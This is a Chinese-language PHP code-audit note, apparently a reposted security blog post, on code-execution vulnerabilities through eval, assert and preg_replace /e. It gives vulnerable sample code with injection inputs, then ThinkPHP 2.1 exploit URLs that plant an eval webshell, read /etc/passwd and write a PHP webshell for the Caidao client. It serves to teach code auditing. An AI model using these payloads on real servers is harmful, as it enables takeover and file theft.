PHP代碼審計筆記--代碼執行漏洞


 漏洞形成原因:客戶端提交的參數,未經任何過濾,傳入可以執行代碼的函數,造成代碼執行漏洞。

常見代碼注射函數:

  如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函數  

  詳見http://www.cnblogs.com/xiaozi/p/7834367.html 

漏洞危害:執行代碼,寫入webshell、控制服務器

代碼示例一:

<?php 
//?cmd=phpinfo();
@eval($_GET['cmd']);
?>

代碼示例二:

<?php 
//?cmd=${phpinfo()} 
$str=$_GET['cmd']; eval('$str="'.$str.'";'); ?>

php 代碼可以這樣在雙引號中被執行

代碼示例三:

<?php 
//?cmd=%27);phpinfo();//
$str=$_GET['cmd'];
eval("strtolower('$str');");
?>

代碼示例四:preg_replace函數

<?php
preg_replace("/<php>(.*?)<\/php>/e", '\1', "<php>phpinfo()</php>");
//等價於
preg_replace("/<php>(.*?)<\/php>/e", '${1}', "<php>phpinfo()</php>");
?>

 

參考:

慎用preg_replace危險的/e修飾符(一句話后門常用)

http://www.jb51.net/article/38714.htm

 

 

Thinkphp框架任意代碼執行漏洞利用

# 一般找CMS相應版本漏洞,如ThinkPHP2.1 * 一句話
http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}} * 得到當前路徑
http://www.xxx.com/News/detail/id/{${print(getcwd()))}} * 讀文件
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}} POST的數據為:f=/etc/passwd * 寫shell http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}} POST的數據為:f=1.php&d=<?php @eval($_POST['aa'])?>
 
直接執行一句話代碼,然后用菜刀直接連接
http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句話密碼:s

 

關於我:一個網絡安全愛好者,致力於分享原創高質量干貨,歡迎關注我的個人微信公眾號:Bypass--,瀏覽更多精彩文章。

參考文章:

代碼執行漏洞  http://www.jianshu.com/p/3f0cf18adbe7

PHP漏洞全解(詳細介紹) http://www.jb51.net/article/31898.htm

PHP代碼執行漏洞總結   http://blog.csdn.net/kuangmang/article/details/27170309


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM